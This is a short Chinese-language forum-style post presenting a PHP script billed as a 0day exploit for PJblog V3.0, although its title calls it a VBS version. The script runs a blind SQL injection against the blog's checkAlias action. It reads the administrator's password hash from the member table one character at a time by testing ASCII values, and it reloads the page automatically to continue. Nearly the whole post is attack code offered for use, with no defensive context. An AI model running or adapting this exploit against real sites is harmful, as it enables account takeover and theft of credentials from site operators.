PJblog V3.0 0day Vbs版漏洞利用工具 PJblog, Vbs, 漏洞, 工具

柔肠寸断

1. <?php
   
2. /*
   
3. PJblog V3.0 0day exp
   
4. */
   
5. 
   
6. $url="http://www.pjhome.net";    //注入地址
   
7. $var_name="puterjam";    //管理员
   
8. $var_key="check_right";
   
9. 
   
10. if ($_SESSION["LenI"]){
    
11. $LenI=$_SESSION["LenI"];
    
12. }else{
    
13. $LenI=1;
    
14. }
    
15. for($i=$LenI;$i<=40;$i++){
    
16. if($_SESSION["LenDo"]){
    
17. $StaAsc=$_SESSION["LenDo"];
    
18. }else{
    
19. $StaAsc=31;
    
20. }
    
21. echo "Scan password len:".$i." ;asc form ".$StaAsc." to 127";
    
22. for($j=$StaAsc;$j<=127;$j++){
    
23. $newurl=$url.'/action.asp?action=checkAlias&cname=firebug_plugins_firediff"%20and%20%28select%20top%201%20asc%28mid%28mem_password%2c'.$i.'%2c1%29%29%20From%20blog_member%20where%20mem_name=\''.$var_name.'\'%29%3e'.$j.'%20and%20"1"="1';
    
24. $var_pagelen=file_get_contents($newurl);
    
25. $var_newpagelen=strpos($var_pagelen,$var_key);
    
26. if($var_newpagelen == true){
    
27. $_SESSION["tmpPassWord"]=$_SESSION["tmpPassWord"].chr($j);
    
28. unset($_SESSION["LenDo"]);
    
29. $_SESSION["LenI"]=$i+1;
    
30. doReload();
    
31. break;
    
32. }
    
33. if($j == $StaAsc+10){
    
34. doReload();
    
35. break;
    
36. }
    
37. }
    
38. }
    
39. if ($_SESSION["LenI"]==40 && !($_SESSION["LenDo"])){ echo $_SESSION["tmpPassWord"]; }
    
40. 
    
41. function doReload(){
    
42. ?>
    
43. <script  language="javascript">
    
44. <!--
    
45. window.setTimeout('location.reload()',1000);
    
46. //-->
    
47. </script>
    
48. <?php
    
49. }
    
50. ?>

复制代码